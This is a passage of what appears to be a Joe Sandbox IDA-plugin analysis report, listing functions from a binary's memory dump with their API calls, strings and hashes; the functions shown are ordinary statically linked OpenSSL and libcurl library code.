MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000), ref: 10271FAA
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 10271FB1
MultiByteToWideChar.KERNEL32(0000FDE9,00000008,?,000000FF,00000000,00000000,?,00000017,?,00000000,10272C3D,?,103322AC,?,?,?), ref: 10271FD1
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 10271FDF
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,?), ref: 10271FFC
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 10272003
_wfopen.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000000,?,00000017,?,00000000,10272C3D,?,103322AC,?,?,?,?), ref: 10272017
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,00000017,?,00000000,10272C3D,?,103322AC,?,?,?,?), ref: 10272023
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,00000017,?,00000000,10272C3D,?,103322AC,?,?,?,?), ref: 10272035
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,00000017,?,00000000,10272C3D,?,103322AC,?,?,?,?), ref: 10272042

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: ByteCharMultiWidefree$malloc$_errno_wfopen
String ID:
API String ID: 2921460720-0
Opcode ID: c0a44e3a343f545f4cad7cbc6354fa6cdd4e3657c98fb254c4873238db0bca30
Instruction ID: d1232116023401e744aa5ffebe7f734abd68363410e105865aebe229190341d6
Opcode Fuzzy Hash: c0a44e3a343f545f4cad7cbc6354fa6cdd4e3657c98fb254c4873238db0bca30
Instruction Fuzzy Hash: 5D21E57690632372D2316AA65D01F5B745CDFA2BF0F310224FD14666D0EE61E828C5F2

Function 1007D820 Relevance: 17.9, APIs: 6, Strings: 4, Instructions: 411COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 1007D8B3
__fprintf_l.LIBCMT ref: 1007D94B

Strings

properties, xrefs: 1007D8D5
OSSL_DECODER_CTX_new_for_pkey, xrefs: 1007D897, 1007D92E, 1007D990, 1007DCC2, 1007DD03, 1007DD81
ossl_decoder_ctx_setup_for_pkey, xrefs: 1007DA76
crypto\encode_decode\decoder_pkey.c, xrefs: 1007D8A1, 1007D938, 1007D99A, 1007DA10, 1007DA4D, 1007DA80, 1007DB69, 1007DB7B, 1007DB8D, 1007DBDE, 1007DC13, 1007DC3B, 1007DC64, 1007DC86, 1007DD0D, 1007DD8B

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: OSSL_DECODER_CTX_new_for_pkey$crypto\encode_decode\decoder_pkey.c$ossl_decoder_ctx_setup_for_pkey$properties
API String ID: 3906573944-911946193
Opcode ID: 8f0781ed3b70d366b21abf4bb036ee730848a7a21c02e2f35dc24b8875e130c2
Instruction ID: e4355d6db676a980667e2e7f18967363d79d0adf1cd33c67b5641c6e0c464027
Opcode Fuzzy Hash: 8f0781ed3b70d366b21abf4bb036ee730848a7a21c02e2f35dc24b8875e130c2
Instruction Fuzzy Hash: C5D1E676904341AAE751EB60AC02F5B76E4FF44354F008929FD88E6242EB75FA18C79B

Function 100895D0 Relevance: 17.9, APIs: 2, Strings: 8, Instructions: 358COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 1008961D
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000001,00000000), ref: 10089652

Strings

Setting debug file to %s, xrefs: 1008980E
ERR_CAPI_error, xrefs: 10089602
Setting key type to %d, xrefs: 10089837
Setting store name to %s, xrefs: 1008975D
D:\FilePath\src\vcpkg\buildtrees\openssl\x86-windows-static-rel\users\e_capi_err.c, xrefs: 10089609
Setting debug level to %d, xrefs: 100897CC
Setting flags to %d, xrefs: 100897A3
users\e_capi.c, xrefs: 10089629, 1008966E, 1008972C, 1008974B, 100897F4, 10089891, 100898F5, 1008995C

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __acrt_iob_func__fprintf_l
String ID: D:\FilePath\src\vcpkg\buildtrees\openssl\x86-windows-static-rel\users\e_capi_err.c$ERR_CAPI_error$Setting debug file to %s$Setting debug level to %d$Setting flags to %d$Setting key type to %d$Setting store name to %s$users\e_capi.c
API String ID: 1350008154-3628211485
Opcode ID: c4e04daa49ff7e79b2c27cc2ab0eaf3b7c42bbe93cc8fb81897d6ecf118514ed
Instruction ID: ccb6a79016c9e5070a36e9fd06b6219ab8511536e9135891aee3bd30bd40bdc0
Opcode Fuzzy Hash: c4e04daa49ff7e79b2c27cc2ab0eaf3b7c42bbe93cc8fb81897d6ecf118514ed
Instruction Fuzzy Hash: A791E0BAF4510427D600E6657C43BAB7359FB81936F440637F90891343EA5BF72D92A2

Function 10052080 Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 239COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 100520C1
__fprintf_l.LIBCMT ref: 100520F6
__fprintf_l.LIBCMT ref: 10052345

Strings

assertion failed: b <= sizeof(ctx->final), xrefs: 100521B0
EVP_DecryptFinal_ex, xrefs: 100520A4, 100520D9, 10052158, 1005221E, 1005222F, 1005225D, 100522E2, 100522F9, 10052328
crypto\evp\evp_enc.c, xrefs: 100520AE, 100520E3, 10052162, 100521AB, 10052239, 10052267, 10052303, 10052332

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: EVP_DecryptFinal_ex$assertion failed: b <= sizeof(ctx->final)$crypto\evp\evp_enc.c
API String ID: 3906573944-1740712452
Opcode ID: 37da99f6720a8c33ed431863380d618240c4188857ca9dadf9780e40475885b8
Instruction ID: a470929c58f69c761cb6252462e078d3c038ddaf0ea5dd53e5072da54b54a563
Opcode Fuzzy Hash: 37da99f6720a8c33ed431863380d618240c4188857ca9dadf9780e40475885b8
Instruction Fuzzy Hash: 83613A3A744301BEE300EA68BC42F6B7690FF81714F104969FB4DA95C3EB72A559C15A

Function 10061970 Relevance: 17.7, APIs: 5, Strings: 5, Instructions: 235COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 100619F4
__fprintf_l.LIBCMT ref: 10061A52
__fprintf_l.LIBCMT ref: 10061C58

Strings

crypto\evp\evp_fetch.c, xrefs: 100619E1, 10061A3F, 10061B43, 10061BE9, 10061C45
inner_evp_generic_fetch, xrefs: 100619D7, 10061A35, 10061B39, 10061BDF, 10061C3B
%s, Algorithm (%s : %d), Properties (%s), xrefs: 10061C1A
Algorithm %s cannot be found, xrefs: 10061B4E
<null>, xrefs: 10061BFA, 10061C08, 10061C0D

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: %s, Algorithm (%s : %d), Properties (%s)$<null>$Algorithm %s cannot be found$crypto\evp\evp_fetch.c$inner_evp_generic_fetch
API String ID: 3906573944-625229346
Opcode ID: c0399435284a6c1b0b362242d42ea293d3e69e7145a38cb82bd213fcc6d1fe36
Instruction ID: aa6839232a9dd3f2b6f0447fb2d96a438214a2425f1f5edf1a6219dbfdd9b6b7
Opcode Fuzzy Hash: c0399435284a6c1b0b362242d42ea293d3e69e7145a38cb82bd213fcc6d1fe36
Instruction Fuzzy Hash: 27712475984340ABD300DF649C82F9FBBE6FF85790F440928FE8896251E776E914CB92

Function 10149CC0 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 200stringCOMMON

Download Yara Rule

APIs

Part of subcall function 10068520: __fprintf_l.LIBCMT ref: 10068552

memchr.VCRUNTIME140(00000000,0000003A,00000000), ref: 10149D71
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,-----END ,00000009), ref: 10149D8B
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,-----END ,00000009,?,?,?,?,?,?,?,?,?,00000000), ref: 10149DE5
__fprintf_l.LIBCMT ref: 10149E5B
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000009,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 10149ECC
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,-----,00000006), ref: 10149EE3

Strings

get_header_and_data, xrefs: 10149E41, 10149E97, 10149EA8, 10149F14
-----, xrefs: 10149EDD
crypto\pem\pem_lib.c, xrefs: 10149CEB, 10149E4B, 10149E6F
-----END , xrefs: 10149D85, 10149DDF

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: strncmp$__fprintf_l$memchr
String ID: -----$-----END $crypto\pem\pem_lib.c$get_header_and_data
API String ID: 124744601-2490496441
Opcode ID: 27604a51ceecf00d6b4a5a4d3107b11965fd3002cbe927e4041aae9aaafee151
Instruction ID: ed9341a929ad425ce4565a67a6f3e4cf87dc7590e65d2b60a5553d313e581527
Opcode Fuzzy Hash: 27604a51ceecf00d6b4a5a4d3107b11965fd3002cbe927e4041aae9aaafee151
Instruction Fuzzy Hash: C7515D75B047016FE310DA64DD42B9B77CAEF44394F210934FD48DA2A2E7ADAE09C693

Function 100A62D0 Relevance: 17.6, APIs: 4, Strings: 6, Instructions: 145COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 100A62FA

Strings

the mandatory 'input' property is missing for decoder %s (properties: %s), xrefs: 100A63CD
structure, xrefs: 100A63E3
crypto\encode_decode\decoder_lib.c, xrefs: 100A62E8, 100A630C, 100A6352, 100A63AF, 100A641F, 100A645E
ossl_decoder_instance_new, xrefs: 100A62DE, 100A6348, 100A63A5, 100A6415
there are no property definitions with decoder %s, xrefs: 100A6363
input, xrefs: 100A637C

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: crypto\encode_decode\decoder_lib.c$input$ossl_decoder_instance_new$structure$the mandatory 'input' property is missing for decoder %s (properties: %s)$there are no property definitions with decoder %s
API String ID: 3906573944-1797233918
Opcode ID: 36b9c0a5287603468fc4edab6ab3522ad3152f753a366d6e45ecf2091f269a40
Instruction ID: 5066d4b9696b86ba0969eae8eff21918bfb71a51db24d2d392a6547f83f7a83e
Opcode Fuzzy Hash: 36b9c0a5287603468fc4edab6ab3522ad3152f753a366d6e45ecf2091f269a40
Instruction Fuzzy Hash: 344160B954030576F150E7B8BD03F6F31E8EFA5664F048525F989F5183FBA1B9148272

Function 10067FD0 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 86stringCOMMON

Download Yara Rule

APIs

Part of subcall function 10082AD0: MultiByteToWideChar.KERNEL32(0000FDE9,00000008,00000000,00000002,00000000,00000000,100896C9,102C4FDC,00000000,00000000,10067FE1,100896C9,100896C9,00000001,102C4FDC,00000000), ref: 10082B1B
Part of subcall function 10082AD0: GetLastError.KERNEL32 ref: 10082B2D
Part of subcall function 10082AD0: MultiByteToWideChar.KERNEL32(0000FDE9,00000000,00000000,00000000,00000000,00000000), ref: 10082B4C
Part of subcall function 10082AD0: GetLastError.KERNEL32 ref: 10082B58
Part of subcall function 10082AD0: fopen.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000001), ref: 10082B69

strchr.VCRUNTIME140(100896C9,00000062,100896C9,100896C9,00000001,102C4FDC,00000000,100893E5,?,102C1144,102C4FDC,00000000,1008B312,00000000,Listing certs for store %s,102C4FDC), ref: 10067FE6
GetLastError.KERNEL32(calling fopen(%s, %s),?,100896C9,?,?,?,00000000), ref: 10068023
__fprintf_l.LIBCMT ref: 1006802C
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,00000000), ref: 10068034
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,00000000), ref: 1006803E
__fprintf_l.LIBCMT ref: 10068074
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000), ref: 10068096

Strings

calling fopen(%s, %s), xrefs: 1006801E
crypto\bio\bss_file.c, xrefs: 1006800C, 10068065
BIO_new_file, xrefs: 10068005, 1006805F

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: ErrorLast$ByteCharMultiWide__fprintf_l_errno$fclosefopenstrchr
String ID: BIO_new_file$calling fopen(%s, %s)$crypto\bio\bss_file.c
API String ID: 3620630697-2093063674
Opcode ID: bfd2949ab860907bbbe65bd9b035bbe813ea6786971c5d961ae6db535ff24b35
Instruction ID: b3fe94007748b9bf6666b44acea7166f1fa5630571d53f87bd0da0f7948bdef6
Opcode Fuzzy Hash: bfd2949ab860907bbbe65bd9b035bbe813ea6786971c5d961ae6db535ff24b35
Instruction Fuzzy Hash: 201150BEA4021066D350E2A46D47F9B2159EFC2761F250635FE4876183EA11792C97B3

Function 10082AD0 Relevance: 16.6, APIs: 11, Instructions: 148fileCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000008,00000000,00000002,00000000,00000000,100896C9,102C4FDC,00000000,00000000,10067FE1,100896C9,100896C9,00000001,102C4FDC,00000000), ref: 10082B1B
GetLastError.KERNEL32 ref: 10082B2D
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,00000000,00000000,00000000,00000000), ref: 10082B4C
GetLastError.KERNEL32 ref: 10082B58
fopen.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000001), ref: 10082B69
MultiByteToWideChar.KERNEL32(0000FDE9,00000008,00000000,00000000,?,00000000), ref: 10082BA9
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,00000001,00000003,100896C9,00000008,?,00000000), ref: 10082BD3
_wfopen.API-MS-WIN-CRT-STDIO-L1-1-0(00000001,100896C9,?,00000000), ref: 10082BE0
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 10082BEE
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 10082BF8
fopen.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000001,00000000), ref: 10082C04

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: ByteCharMultiWide$ErrorLast_errnofopen$_wfopen
String ID:
API String ID: 1544496049-0
Opcode ID: 3f8901dfba8e84357d0c73da9d5cb667b0aeb2f39e28cdebef477c3973d36092
Instruction ID: c5b1980465a9d8e20383cff12c17edeedc2a5486cfd40f26a6bd4d96e744280c
Opcode Fuzzy Hash: 3f8901dfba8e84357d0c73da9d5cb667b0aeb2f39e28cdebef477c3973d36092
Instruction Fuzzy Hash: FC41D535E00109DBDF10DFA48C82BFEB7A9FF49350F11416AED05AB641DB256D15CBA1

Function 10073460 Relevance: 16.1, APIs: 3, Strings: 6, Instructions: 315COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 1007383A
__fprintf_l.LIBCMT ref: 10073887

Strings

crypto\evp\digest.c, xrefs: 10073494, 100737B4, 100737F7, 10073827, 10073874
algid-absent, xrefs: 100736E9
evp_md_from_algorithm, xrefs: 100737AA, 100737ED, 1007381D, 1007386A
blocksize, xrefs: 1007366A
size, xrefs: 1007369D
xof, xrefs: 100736C0

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: algid-absent$blocksize$crypto\evp\digest.c$evp_md_from_algorithm$size$xof
API String ID: 3906573944-2768603213
Opcode ID: 878531010db679c52bd783b7c276ed3d330a52b0eda82ef431e2bbabe74a4a44
Instruction ID: 5af29255109be3d34341896487c61986321a570f7cc92f5bbc0a01faefd2243f
Opcode Fuzzy Hash: 878531010db679c52bd783b7c276ed3d330a52b0eda82ef431e2bbabe74a4a44
Instruction Fuzzy Hash: 35C19E71904B45AFE320CF24C842B5BB3E4FB45754F10CA2EF6DA86651EB78A488CF56

Function 100B67D0 Relevance: 16.0, APIs: 2, Strings: 7, Instructions: 297COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 100B699F
__fprintf_l.LIBCMT ref: 100B6AAE

Strings

crypto\pem\pem_pkey.c, xrefs: 100B698F, 100B6A9B, 100B6ABB, 100B6ACE
PARAMETERS, xrefs: 100B68AD, 100B68B5, 100B6B03
PUBLIC KEY, xrefs: 100B68A8
pem_read_bio_key_legacy, xrefs: 100B6985, 100B6A91
PRIVATE KEY, xrefs: 100B6877, 100B6A10
ANY PRIVATE KEY, xrefs: 100B684E
ENCRYPTED PRIVATE KEY, xrefs: 100B6900

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: ANY PRIVATE KEY$ENCRYPTED PRIVATE KEY$PARAMETERS$PRIVATE KEY$PUBLIC KEY$crypto\pem\pem_pkey.c$pem_read_bio_key_legacy
API String ID: 3906573944-3795873231
Opcode ID: c65968674920aae82677cf9d7771762b9a7397e2a206bb2af23b5410f1807893
Instruction ID: 39d4176f7e41781b659c1f943f5e3cf8ad56c26f36d45b0e3ec98e59ca590143
Opcode Fuzzy Hash: c65968674920aae82677cf9d7771762b9a7397e2a206bb2af23b5410f1807893
Instruction Fuzzy Hash: 5FA1F8B96043426BD710DF60DC42B5FB7E9EF88644F444528F988E6252EB39ED18C763

Function 10078240 Relevance: 16.0, APIs: 1, Strings: 8, Instructions: 234COMMON

Download Yara Rule

APIs

Part of subcall function 1007CAD0: GetEnvironmentVariableW.KERNEL32(OPENSSL_WIN32_UTF8,00000000,00000000,00000000,00000000,00000000,00000000,10060A30,OPENSSL_MODULES,?,?,00000000,?,?,?), ref: 1007CAF3
Part of subcall function 1007CAD0: GetACP.KERNEL32 ref: 1007CB12
Part of subcall function 1007CAD0: MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000), ref: 1007CB77
Part of subcall function 1007CAD0: MultiByteToWideChar.KERNEL32(00000000,000000FF,?,000000FF,-00000008,?,?,?,00000000,?,?,?,?,?,00000000), ref: 1007CBE8
Part of subcall function 1007CAD0: GetEnvironmentVariableW.KERNEL32(-00000008,00000000,00000000,?,?,00000000,?,?,?,?,?,00000000,?,?,?,?), ref: 1007CBFB

__fprintf_l.LIBCMT ref: 1007847A

Part of subcall function 10078090: __fprintf_l.LIBCMT ref: 100780CE

Strings

crypto\conf\conf_mod.c, xrefs: 1007827B, 100782B5, 100783FD, 10078466
%s%s%s, xrefs: 100782E6
openssl_conf=%s, xrefs: 10078471
config_diagnostics, xrefs: 10078371, 100783D7
openssl_conf, xrefs: 100783B7
OPENSSL_CONF, xrefs: 10078265
CONF_modules_load, xrefs: 1007845C
openssl.cnf, xrefs: 100782D8

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: ByteCharEnvironmentMultiVariableWide__fprintf_l
String ID: %s%s%s$CONF_modules_load$OPENSSL_CONF$config_diagnostics$crypto\conf\conf_mod.c$openssl.cnf$openssl_conf$openssl_conf=%s
API String ID: 3839019013-795481511
Opcode ID: c2128c3e0383e9b76ff4660efbf6df3b1e07333859891394c1e6be24a576c5c3
Instruction ID: 4c4920042a0aa531dc993d94ada18687a3fb0f5f33aa183661378e32b1986fa5
Opcode Fuzzy Hash: c2128c3e0383e9b76ff4660efbf6df3b1e07333859891394c1e6be24a576c5c3
Instruction Fuzzy Hash: 5F616875E803426BD300EA749C42B5F76C5DF81684F044528FE8966243EFADBB5843EE

Function 102641F0 Relevance: 16.0, APIs: 4, Strings: 5, Instructions: 227COMMON

Download Yara Rule

APIs

fputs.API-MS-WIN-CRT-STDIO-L1-1-0(# Your HSTS cache. https://curl.se/docs/hsts.html# This file was generated by libcurl! Edit at your own risk.,?,00000088,00000734,?,00000000), ref: 10264283
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,?,?,?,00000088,00000734,?,00000000), ref: 10264344
_unlink.API-MS-WIN-CRT-FILESYSTEM-L1-1-0(?,?,?,?,?,?,00000088,00000734,?,00000000), ref: 1026437E

Strings

%s%s "%s", xrefs: 102642CE
unlimited, xrefs: 102642C2
%s%s "%d%02d%02d %02d:%02d:%02d", xrefs: 1026432A
# Your HSTS cache. https://curl.se/docs/hsts.html# This file was generated by libcurl! Edit at your own risk., xrefs: 1026427E
%d%02d%02d %02d:%02d:%02d, xrefs: 10264459

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: _unlinkfclosefputs
String ID: # Your HSTS cache. https://curl.se/docs/hsts.html# This file was generated by libcurl! Edit at your own risk.$%d%02d%02d %02d:%02d:%02d$%s%s "%d%02d%02d %02d:%02d:%02d"$%s%s "%s"$unlimited
API String ID: 498794310-2451391588
Opcode ID: 9f8e0856c171402311cc48cf617875473bf8ae1eeeacd177351cb426bee80822
Instruction ID: f1af78dc05b46ab5e7bcf5f1703c79877f4ba830ba1d13ef3a477c15706e3c6d
Opcode Fuzzy Hash: 9f8e0856c171402311cc48cf617875473bf8ae1eeeacd177351cb426bee80822
Instruction Fuzzy Hash: 1781BC75908342AFC700CF64C881A5BB7E9FF88364F214A19FD9597251EB31E9A4CB92

Function 10148A90 Relevance: 16.0, APIs: 5, Strings: 4, Instructions: 209COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140(?,?,?,00000000,?,?,1014A393,?,?,?,?,?), ref: 10148B2A
__fprintf_l.LIBCMT ref: 10148BE4

Strings

PEM_def_callback, xrefs: 10148B66
PEM_do_header, xrefs: 10148BCA, 10148CA7
crypto\pem\pem_lib.c, xrefs: 10148B6D, 10148BD4, 10148CB1
Enter PEM pass phrase:, xrefs: 10148B3E, 10148B4C

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_lmemmove
